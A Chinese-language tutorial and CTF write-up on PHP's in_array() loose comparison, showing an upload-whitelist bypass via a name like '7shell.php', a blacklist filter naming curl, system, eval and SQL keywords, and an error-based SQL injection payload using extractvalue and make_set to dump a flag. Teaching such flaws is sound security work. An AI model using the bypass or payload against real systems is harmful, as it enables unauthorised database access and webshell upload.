了解函数in_array()的缺陷,并且规避该缺陷
函数in_array()介绍
in_array() 函数搜索数组中是否存在指定的值。
注释:如果 search 参数是字符串且 type 参数被设置为 TRUE,则搜索区分大小写。
语法:1
in_array(search,array,type)
参数:
search 必需。规定要在数组搜索的值。
array 必需。规定要搜索的数组。
type 可选。如果设置该参数为 true,则检查搜索的数据与数组的值的类型是否相同。
说明:如果第三个参数设置为 true,函数只有在元素存在于数组中且数据类型与给定值相同时才返回 true。
问题所在
代码一如下:1
2
3
4
5
6
7
8
9
10
11
12
//判断某定制产品是否在数组中
$search = '68226:dscsdsdgwsdggocs'; //某定制产品
$data = array(
39578,68226,48257
);
if(in_array($search,$data)){
echo 'you are right';
}else{
echo 'you are wrong';
}
输出:1
you are right
代码二如下:1
2
3
4
5
6
7
8
9
10
11
12
//判断某定制产品是否在数组中
$search = '68226:dscsdsdgwsdggocs'; //某定制产品
$data = array(
39578,68226,48257
);
if(in_array($search,$data,true)){
echo 'you are right';
}else{
echo 'you are wrong';
}
输出:1
you are wrong
分析问题:
代码中的关键在于in_array()函数是否有设置type参数。如果没有,将会进行强制类型匹配,那么这时候就很容易出现问题。
例子
1 | class Challenge { |
这里是一段上传文件的代码。
函数range(): 根据范围创建数组,包含指定的元素.
然后关键代码:1
if (in_array($this->file['name'], $this->whitelist))
这里未对参数type进行设置,所以造成任意文件上传漏洞.如果我们上传7shell.php,就会被强制转换成7.
那么就能绕过in_array()
然后这里有一道CTF的题,分享一下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57//index.php
include 'config.php';
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("连接失败: ");
}
$sql = "SELECT COUNT(*) FROM users";
$whitelist = array();
$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
$whitelist = range(1, $row['COUNT(*)']);
}
$id = stop_hack($_GET['id']);
$sql = "SELECT * FROM users WHERE id=$id";
if (!in_array($id, $whitelist)) {
die("id". $id."is not in whitelist.");
}
$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
echo "<center><table border='1'>";
foreach ($row as $key => $value) {
echo "<tr><td><center>$key</center></td><br>";
echo "<td><center>$value</center></td></tr><br>";
}
echo "</table></center>";
}
else{
die($conn->error);
}
//config.php
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "day1";
function stop_hack($value){
$pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
$back_list = explode("|",$pattern);
foreach($back_list as $hack){
if(preg_match("/$hack/i", $value))
die("$hack detected!");
}
return $value;
}
代码中in_array()函数没有设置参数true,有缺陷,可进行强制类型转换,所以这里的id存在注入点,使用了sqlmap后无果,想到报错注入,还是无果,因为concat()被过滤了,见config.php。1
2
3
4
5
6$id = stop_hack($_GET['id']);
$sql = "SELECT * FROM users WHERE id=$id";
if (!in_array($id, $whitelist)) {
die("id".$id."is not in whitelist.");
}
然后我们这里使用make_set()来代替concat(),payload如下:1
1 and extractvalue(1,make_set(3,'~',(select flag from flag)))
爆出flag